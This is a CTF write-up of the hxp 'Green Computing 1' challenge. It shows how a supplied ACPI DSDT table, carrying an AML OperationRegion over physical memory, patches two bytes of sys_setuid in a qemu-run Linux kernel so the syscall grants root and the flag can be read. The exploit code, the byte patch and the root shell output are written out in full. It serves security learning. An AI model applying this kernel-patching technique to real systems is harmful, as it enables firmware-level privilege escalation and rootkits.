Green Computing 1

The challenge consists of a linux kernel and userland run in qemu using the wrapper script run.py. Before starting qemu, we can provide a hex-encoded string that will overwrite the DSDT ACPI table.

The organizers messed up a bit and left the monitor port open in the chall, so they released a second, fixed challenge later. However, we just exploited the fixed version and used that exploit against the unfixed one as well.

ACPI basics - the CTF edition

The ACPI standard defines an interface between the operating system and the firmware. The bootrom provides the kernel with tables containing bytecode called ACPI Machine Language (AML) that both describes the peripherals and contains methods to interact with them. These methods get executed by the kernel at boot time - for example during device discovery. The cool thing is, the virtual machine executing the code is all-mighty, and can access all physical memory.

The interesting table for this challenge is the DSDT. We can dump that:

from base64 import b64decode
from pwn import *

p = process(['qemu-system-x86_64', '-m', '1337M', '-kernel', 'bzImage', '-initrd', 'init_censored.cpio', '-append', 'console=ttyS0 nokaslr panic=-1 init=/bin/sh', '-nographic', '-no-reboot'])
with log.progress("booting") as pg:
    p.recvuntil("/ # ")
    p.recvuntil("clocksource: Switched to clocksource tsc")

    pg.status("installing busybox")
    p.send("/bin/busybox --install -s\n")
    p.recvuntil("/ # ")
    
    pg.status("mounting sys")
    p.send("mkdir -p /sys\n")
    p.recvuntil("/ # ")
    p.send("mount -t sysfs none /sys\n")
    p.recvuntil("/ # ")
    
    pg.status("getting default DSDT")
    p.send("base64 < /sys/firmware/acpi/tables/DSDT\n")
    p.recvuntil("base64 < /sys/firmware/acpi/tables/DSDT\r\n")
    dsdt = p.recvuntil("/ # ", drop=True)
    with open("default-dsdt.aml", "w") as f:
        f.write(b64decode(dsdt.replace('\n', '')))

There is a compiler that compiles and decompiles the human readable ACPI Source Language (ASL) to AML and vice versa:

sudo apt install acpica-tools

# decompile dsdt.aml -> dsdt.dsl
iasl dsdt.aml

# compile dsdt.dsl -> dsdt.aml
iasl dsdt.dsl

The DSDT we provide to the chall gets packed into a ramdisk which is prepended to the initrd. This can overwrite the default DSDT if we bump the OEM revision:

-DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000001)
+DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002)

In the boot messages we can then see that it gets overwritten:

RAMDISK: [mem 0x538dd000-0x538dffff]
ACPI: DSDT ACPI table found in initrd [kernel/firmware/acpi/dsdt.aml][0x18a3]
[...]
ACPI: Table Upgrade: override [DSDT-BOCHS -BXPCDSDT]
ACPI: DSDT 0x00000000538E0040 Physical table override, new table: 0x00000000538DB000
ACPI: DSDT 0x00000000538DB000 0018A3 (v02 BOCHS  BXPCDSDT 00000002 INTL 20160831)

Now we can start patching our code, but what do we actually want to do?

Finding a Target

Getting /etc/init from the init_censored.cpio, we see that we drop privileges to the user hxp, but the flag is only readable as root:

#!/bin/sh
set -euo pipefail
# systemd drop-in replacement

/bin/busybox --install -s

chown -R root:root /flag
chmod 400 /flag
mkdir -p /home/hxp /proc /sys

mount -t proc none /proc
mount -t sysfs none /sys

cat << EOF
 _                   ____ _____ _____   ____   ___  _  ___
| |__ __  ___ __    / ___|_   _|  ___| |___ \ / _ \/ |( _ )
| '_ \\\\ \/ / '_ \  | |     | | | |_      __) | | | | |/ _ \
| | | |>  <| |_) | | |___  | | |  _|    / __/| |_| | | (_) |
|_| |_/_/\_\ .__/   \____| |_| |_|     |_____|\___/|_|\___/
           |_|
           |_|

Deutsche Leidkultur

EOF

exec setuidgid hxp sh

This means, we basically have to either escalate privileges or change the behaviour of setuidgid. So let’s see what that does:

strace bin/busybox setuidgid $(whoami) sh
[...]
setgid(1000)                            = 0
[...]
setuid(1000)                            = 0
[...]

The setuid syscall looks promising, so let’s take a look at that. First, we extract /proc/kallsyms from the kernel (pretty much the same way as we extracted the default DSDT.), and get the kernel-virtual address of the setuid syscall:

grep setuid kallsyms
ffffffff810406a0 T SyS_setuid
ffffffff810406a0 T sys_setuid
ffffffff81049d50 W sys_setuid16
ffffffff810eb8c0 T cap_task_fix_setuid

Next, we need to decompress the bzimage using the extract-vmlinux tool to get the actual kernel ELF.

The sys_setuid syscall contains two interesting basic_blocks, one that calls prepare_creds and one that calls commit_creds:

sys_setuid

If we patch the jump out of the basic block at 0xffffffff810406b4 to a jnz to the basic block at 0xffffffff81040752, we get a basic commit_creds(prepare_creds()); return syscall. The final patch are just 2 bytes:

-0xffffffff810406C3: 84 af
+0xffffffff810406C3: 85 8a

Writing the exploit

First we need to find the physical base address of the kernel. This is always 0x1000000 if kaslr is off, but we can verify that using the info tlb qemu monitor command. So the actual physical address we want to patch at is 0x10406c3.

Following along the rootkit described in Duflot et al, we define a region over these two bytes in our DSDT and overwrite this in a method that gets called:

-DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000001)
+DefinitionBlock ("", "DSDT", 1, "BOCHS ", "BXPCDSDT", 0x00000002)
 {
     Scope (\)
     {
+        OperationRegion (PWN, SystemMemory, 0x10406c3, 0x2)
+        Field (PWN, AnyAcc, NoLock, Preserve)
+        {
+            PWN1, 8,
+            PWN2, 8
+        }
+
         OperationRegion (DBG, SystemIO, 0x0402, One)
         Field (DBG, ByteAcc, NoLock, Preserve)
         {
@@ -279,6 +286,8 @@
             Name (_UID, One)  // _UID: Unique ID
             Method (_STA, 0, NotSerialized)  // _STA: Status
             {
+               Store (0x85, PWN1)
+               Store (0x8a, PWN2)
                 Local0 = CAEN /* \_SB_.PCI0.ISA_.CAEN */
                 If ((Local0 == Zero))
                 {

We can throw this against remote and cat flag now:

/ # id
uid=0(root) gid=1000(hxp) groups=1000(hxp)
/ # cat flag
hxp{acpi_ACPI_we_hope_that_you_finally_used_these_tables_to_pwn!}

And against the unfixed version:

/ # id
uid=0(root) gid=1000(hxp) groups=1000(hxp)
/ # cat flag
hxp{pl3453_4ud17_y0ur_ACPI_74bl35_b3f0r3_7h1nk16_0f_7h3_3nv1r0nm3n7}

Thanks to 0xbb for a very illuminating challenge!

– plonk